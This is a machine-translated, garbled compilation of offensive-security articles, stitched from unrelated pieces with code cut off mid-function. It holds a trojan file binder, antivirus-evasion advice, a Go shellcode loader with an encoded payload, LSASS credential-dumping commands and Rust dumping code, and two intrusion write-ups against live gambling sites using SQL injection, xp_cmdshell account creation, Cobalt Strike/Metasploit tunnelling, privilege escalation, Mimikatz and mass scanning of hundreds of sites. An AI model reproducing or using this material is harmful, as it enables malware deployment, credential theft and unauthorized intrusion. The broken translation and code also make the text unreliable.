コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はC: \ uses \ public \ videosディレクトリの下で実行されるようにリリースされます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

最初にPythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

殺されていないマスター・ワン・チャオの傑作は、悪魔攻撃3https://github.com/wangfly-me/loaderflyによって変更されました

サウザンドマシン - レッドチームトロイの木馬無料殺人馬はhttps://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルする場合、文字パラメーターを使用します。 360は引き続き毒を報告します。追加しないと、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

より高いバージョンhttps://github.com/burrowers/garbleに行きます

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

qmor0tz41py2461.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が正常に完了しました

序文

lsass.exe(ローカルセキュリティ局のサブシステム

サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。

[TOC]

一般的な方法

mimikatz :: logonpasswords

通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。

ホワイトリストツール

3つのMicrosoft Signature Whitelistプログラム

procdump.exe

sqldumper.exe

createdump.exe

procdump dump lsass.exeのメモリ

Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます

ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、

procdump64.exe -accepteula -ma lsass.exe lsass_dump

その後、使用するMimikatzを構成できます

sekurlsa:3360minidump lsassdump.dmp

sekurlsa:3360logonpasswords

lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。

procdump64.exe -accepteula -ma pid lsass_dum

この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。

検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。

sqldumper.exe

sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。

Sqldumperへの一般的なパスは次のとおりです

C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe

C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe

c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe

sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。

TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します

sqldumper.exe processid 00x01100エクスポートmdmpファイル

次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。

mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit

360に殺されたタントレンは検出されませんでした

createdump.exe

.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。

createdump.exe -u -f lsass.dmp lsass [pid]

360によって殺されます

comsvcs.dll

comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。

このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります

次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます

PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full

360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。

他のツール

rdleakdiag.exe

デフォルトの既存のシステム:

Windows10 Windows8.1Windows8 Windows7 WindowsVista

ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

そのようなものがない場合は、渡すことを選択できます。

DMPメモリファイルを生成します

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst

結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。

avdump.exe

avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。

住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2

PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0

しかし、それは360によっても殺されます。

所有者の編集dll

apiminidumpを呼び出すデモ

これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。

1.プロセススナップショットを作成します

2。通過する最初のプロセスを初期化します

3。次のトラバーサルに進みます

4。プロセス情報構造

createToolHelp32SNAPSHOTを使用してプロセスを作成します

winapi createToolhelp32Snapshot(

dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。

dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。

);

Process32Firstを使用して最初のプロセスハンドルを取得します

bool winapi process32first(

HSNAPSHOT、//_ in、プロセススナップショットハンドル

lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。

);

Process32Nextを使用して次のプロセスを取得します

bool winapi process32next(

hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル

LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造

);

また、ProcessEntry32の構造が私たちに役立つものも含まれます。

初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {

dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。

dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。

dword th32processid; //プロセスID;

dword th32defaultheapid; //デフォルトのヒープIDを処理します。

dword th32moduleid; //モジュールIDを処理します。

dword cntthreads; //このプロセスが開くスレッドのカウント。

dword th32parentprocessid; //親プロセスID;

長いpcpriclassbase; //スレッドの優先順位;

dword dwflags; //予約済み;

char szexefile [max_path]; //完全なプロセス名;

} processentry32;

したがって、Rustによって実装されたコードは次のとおりです

fn getProcess(){

安全でない{

mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);

mut process_entry : processentry32=zeroed();

process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;

//mut process_handle=null_mut();

if!handle.is_null(){

process32first(handle、mut process_entry)==1 {

ループ{

extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。

println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);

process32next(handle、mut process_entry)==0 {

壊す;

}

}

}

}

}

}

完全なダンプLSASプロセスメモリのコード

STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};

STD:3360PTRを使用します。

clap:を使用します{app、arg};

log: {error}を使用します。

windows_sys: {win32: {foundation: {

CloseHandle、getLasterRor、invalid_handle_value、handle、luid、

}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};

Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {

createfilew、create_always、file_attribute_normal、

};

windows_sys:3:win32:system:3360diagnostics:3360debug: {

minidumpwithfullmemory、minidumpwritedump

};

windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {

CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、

};

Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;

Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。

fn getPrivilege(ハンドル:ハンドル){

安全でない{

mut h_token: handle=handle:default();

mut h_token_ptr: *mut handle=mut h_token;

let tkp: token_privileges=token_privileges {

PrivileGecount: 1、

特権: [luid_and_attributes {

luid: luid {

LowPart: 0、

highpart: 0、

}、

属性: SE_PRIVILEGE_ENABLED、

}]、

};

//現在のプロセスのアクセストークンを開きます

token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);

token!=0の場合{

let systemname=ptr:3360null_mut();

lookupprivilegevalueaの場合(

SystemName、

b'sedebugprivilege \ 0'.as_ptr()、

mut tkp.privileges [0] .luid)!=0 {

tkp.privileges [0] .attributes=se_privilege_enabled;

//println!( '{:}'、tkp.privileges [0] .attributes);

//現在のプロセスのSedebugprivilege許可を改善します

adcusttokenprivilegesの場合(

h_token、

0、

tkp as *const token_privileges、

0、

ptr:null_mut()、

ptr:null_mut())!=0 {

println!( 'トークン特権が調整された');

} それ以外{

let_error=getLasterRor();

println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。

}

} それ以外{

let_error=getLasterRor();

println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。

}

//アクセストークンハンドルを閉じます

CloseHandle(h_token);

} それ以外{

let_error=getLasterRor();

println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);

}

}

}

fn getProcess(lsassfile : str){

安全でない{

mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);

h_snapshot==invalid_handle_value {

println!( 'createToolhelp32Snapshot'を呼び出さなかった ');

}

mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();

process_entry.dwsize=size_of:3360processentry32()as u32;

process32first(h_snapshot、mut process_entry)==0 {

println!( 'process32first error');

}

ループ{

let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();

extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。

extfile.starts_with( 'lsass.exe'){

println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);

壊す;

}

process32next(h_snapshot、mut process_entry)==0 {

println!( 'process32next'を呼び出すことに失敗しました);

壊す;

}

}

let lsass_pid=process_entry.th32processid;

let process_handle=openProcess(process_all_access、0、lsass_pid);

process_handle==0の場合{

println!( 'プロセスを開くことができない');

}

let lsassfile=lsassfile;

lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();

let lsasshandle=createfilew(

lsassfile.as_ptr()as *const u16、

generic_all、

0、

ptr:null_mut()、

create_always、

file_attribute_normal、

0、

);

lsasshandle==invalid_handle_value {

println!( 'file {:}'、lsassfile.to_string());

}

rest=minidumpwritedump(

序文

昨日の真夜中に記事を見ました。

私は自分のスキルを練習していたと思っていましたが、戦いの途中で、マスターはすでにそのような場所を傷つけていることがわかりました。それで、私はマスターの経験から学び、いくつかのエクササイズをして、自分が考えたことは何でも記録しました。そのため、執筆は非常に複雑で、解決策があるかどうかも記録しました。それから私はサイトを変更し、歩き続けました。

情報収集

フロントデスクはこのようなものです

Image

他の情報を見てください

Imageポートクエリ

Image80はメインページ8182です。

Imageカタログのトラバーサル

Image

脆弱性の発見

最初にバックエンドページに移動します

ユーザー名の入力:123プロンプスユーザーが存在しないプロンプトユーザー名を入力します:管理者プロンプトユーザーまたはパスワードが間違っています

管理アカウントを確認すると、確認する検証コードがありません。

直接弱いパスワード管理者123456背景を入力します

Image多くの機能はありませんし、使用するものは何もありません

ログインに戻ってSQLインジェクションを実行します

Image ImageMSSQL、DBA許可、Direct –OS-Shell

Imageここでの最初のマシンはネットワークを離れず、エコーしませんでした。私はあきらめました。いくつかのサイトを検索した後、私はついにリリースされてエコーされたウェブサイトを見つけました(リリースされている限り簡単に解決できました)。

Image

Image

csはオンライン

です

ここでCSを試して、ネットワークがPowerShellをオンラインで直接生成すると判断します

Image Image Image情報を確認し、タスクリストを確認してください

Image現在、それはデータベースの許可です。私は当局を増やそうとしましたが、それは直接切断され、ウェブサイトを開くことができませんでした。注意して使用し、十分な情報を収集し、十分なパッチ情報を収集する必要があります。

Image別のサイトが変更されました。ウェブサイトパスを見つけます

Image最初にウェブシェルを入手してください

ImageGodzillaのサツマイモはシステムに昇格しています

ImageCSプラグインのサツマイモも、権利を正常にアップグレードしました

Image

管理者のパスワードをつかみます

logonpasswords

有料

ImageADDシャドウアカウント、管理者の権限を追加する

Image

パブリックネットワークCSは、FRPを介してイントラネットMSFに行きます

最初の投稿、FRP+CSはローカルKaliシェルを実装します

サーバー(ここは5000です。変更後にスクリーンショットを撮るのを忘れていました)

Imageクライアント

ImageMSF監視を可能にします

ImageCS

Image

後続

トークンを盗んで管理者としてログインできるかどうかを確認してください

getuid //現在のトークン・インコグニットを見る

0x00序文

私たちの小さなチームは、偶然に発見されたBCサイトに浸透しました。最初から、SQLMAPのみがエコーなしで、オンラインでCSにリバウンドし、MSFと協力するプロセスに、汚れたジャガイモの権利をアップグレードするプロセス、システムの許可を取得し、浸透プロセスを共有および記録するプロセスに

0x01ログインボックスSQLインジェクション

ログインボックスについて何も言うことがないことがわかりました。最初にsqlmapシャトルを試してみてください

图片

Burp Packet CaptureLoginリクエスト、ファイルに保存して直接実行して試してみてください

Python3 sqlmap.py -r '2.txt'には、盲目およびスタックインジェクションがあります

图片

SQLMapを使用してシェルを取得できるかどうかを確認してください

python3 sqlmap.py -r '2.txt' -os -shell視覚的に失敗しました

图片

プロンプトは、XP_CMDSHELLが有効になっていないことです。以前にスキャンした後にスタックインジェクションがあったため、ストアドプロシージャを使用してXP_CMDSHELLを開きます。

Payload:

usernamame=admin '; exec sp_configure' show dibanced options '、1; reconfigure; exec sp_configure'xp_cmdshell'、1; reconfigure; await for delay '0:0:15' - password=123 delay 15秒、実行は、それぞれの声明があります。理論的には同じです)

图片

ちなみに、XP_CMDSHELLを使用してユーザーの権利を追加してペイロードを作成してみてください(パスワードを簡単に設定してはならないことに注意してください。Windowsシステムにはパスワードの強度の要件があるようですが、パスワードが簡単すぎる場合、失敗する可能性があります)

username=admin '; exec xp_cmdshell' net user cmdshellテストzjz0eruwpcxrsgg8e3hl /add '; exec master.xp_cmdshell' net localgroup管理者テスト /add '; wait for delay' 0:0:15 '-password=123nmap scan=123nmam接続

接続されていません

图片

もう一度OS-Shellを実行して、絶対パスを実行できることを見つけます。これは良い兆候です

图片

シェルを正常にポップアップしました

图片

それは盲目のメモなので、私はhoamiなどのコマンドをエコーしなかったので、CSのシェルコードを直接使用しました

图片

图片

生成されたシェルコードはOSシェルに直接貼り付けられ、車に戻ります

图片

その後、CSはオンラインになり、すぐになりました。急いで、道徳的で道徳的ではない数人の若者に電話をかけてカードをプレイするために電話してください

0x02情報収集

タスクリスト、プロセスを確認してください、Alibaba Cloud Shieldで行うのは少し難しいです

图片

SystemInfoそこにあるものを見てください

Alibaba Cloudのサーバー、Windows Server 2008 R2のバージョンには75のパッチがあります

图片

おっと、データベースの電力が削減されており、サービス許可が非常に低いと推定されています

图片

MS-16-032からEXPをアップロードしてみてください、そしてアップロードが直接失敗しました

图片

この時点で、CSの役割は非常に限られています。 CSはただの喜びであり、MSFに依存します。

0x03 FRPを使用してCSサーバーを使用してMSF攻撃をリンクします

CSでリスナーを開きます

图片

FRPの構成ファイルを変更します

图片

構成ファイルを保存した後、FRPフォルダーでFRPを開始します

./FRPC -C FRPC.INI 图片

MSFをオンにして、監視を有効にします

Exploit/Multi/Handlerset Payload Windows/Reverse_httpset lhost 127.0.0.1Set LPort 9996runを使用する

图片

CSに戻り、右クリックしてホストを選択し、セッションを追加します

图片

作成したリスナーを選択して、選択します

图片

MSFに戻ると、セッションは非常に迅速に跳ね返りました

图片

シェルに行き、見てみましょう。実際、CSのビーコンを引き継ぎましたが、まだ許可が低い

图片

0x04腐ったポテトexpをExp

にアップロードします

腐ったジャガイモをローカルで準備します(Windowsパスにさらにスラッシュを追加することに注意してください。ただし、いくつかのマシンを試した後、追加の成功率が高いことがわかりました。

upload/root/exp/juicypotato/potato.exe c: \\ users \\ public 图片

CSはターゲットマシンのファイルをめくって、それが正常にアップロードされたことを発見しました

图片

次に、ターゲットマシンのフォルダーを入力して、権利のエスカレーションの準備を開始します

CD C: \\ users \\ publicuse incognitoexecute -ch -f ./potato.exelist_tokens -uコピー管理者のトークンImpersonate_token 'Administrator' 图片

最後に、エスカレーションが成功しているかどうかを確認します

图片

0x05ミミカッツクロールパスワードハッシュ

最初に権利を上げます

GetSystem 图片

直接ダンプしてみてください

图片

いいえ、ミミカッツを使用する必要があります

ミミカッツとクロールパスワードハッシュをロードします

mimikatz_command -f samdump:3360hashes 图片

MSFに付属のモジュールを使用することもできます(これはMimikatzよりも少し遅いです)

POST/Windows/gracking/smart_hashdump 图片を実行します

次に、CMD5に投げて復号化します。パスワードが弱い場合は、アカウントのパスワードをアンインストールできます。今回は、あなたは幸運です。パスワードが弱いです。パスワードを直接アンインストールできます。その後、MSTSC.EXEはデスクトップで直接接続され、正常に起動されます。

图片

0x06情報収集は攻撃範囲を拡張します

ターゲットの最高の許可を正常に取得した後、情報収集を通じて他の同様のサイトを取得してバッチ攻撃を実行してください。

@Crow MasterはWebサイトのCMS機能を抽出し、バッチでスキャンするFOFAスクリプトを書き、最終的に1900以上のサイトを入手しました。

图片

ただし、BCステーションはしばしば場所を撮影して変更するため、これらのドメイン名のほとんどは利用できないことが多いため、ドメイン名の生存状態を再度確認する必要があります。スクリプトを使用して、最後のステップは、100を超える生存するドメイン名を取得することです。

图片

スクリプトを使用してバッチ内の脆弱なURLにアクセスする場合、生成されたリクエストを使用して、マルチスレッドスクリプトを使用してこの要求を開始するリクエストを開始するリクエストを実行します

python3 sqlmap.py -r '{0}' - dbms='microsoft sql server' - batch-s-shellは、最終的にOS-Shellをポップアップして手動で挿入するホストを取得し、最終的に多数のオンラインホストを取得します

图片

0x07舞台裏に移動して

にアクセスします

データベースにある管理者アカウントパスワードを使用して、Webサイトの背景にログインして見てみましょう

20人が800,000以上を充電しました

图片

图片

图片

「Bright Future」と呼ばれる人々のゲームアカウントもありますが、オンラインギャンブルが自分の未来を破壊していることを知りません!

图片

私は皆にギャンブルから離れることを勧めます、そして、私は閉じ込められているギャンブラーが戻ってくることを願っています!

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzi3nja4mjmymw==mid=2647772541Idx=1SN=646E732C96521E0D4D9D109426C4DC4DCHK SM=F35F9681C4281F97B4C46CD95F858DC90481706A6DB607FCFD6596A15745CA10C88BA83E0E9FSCENE=21#wechat_redirect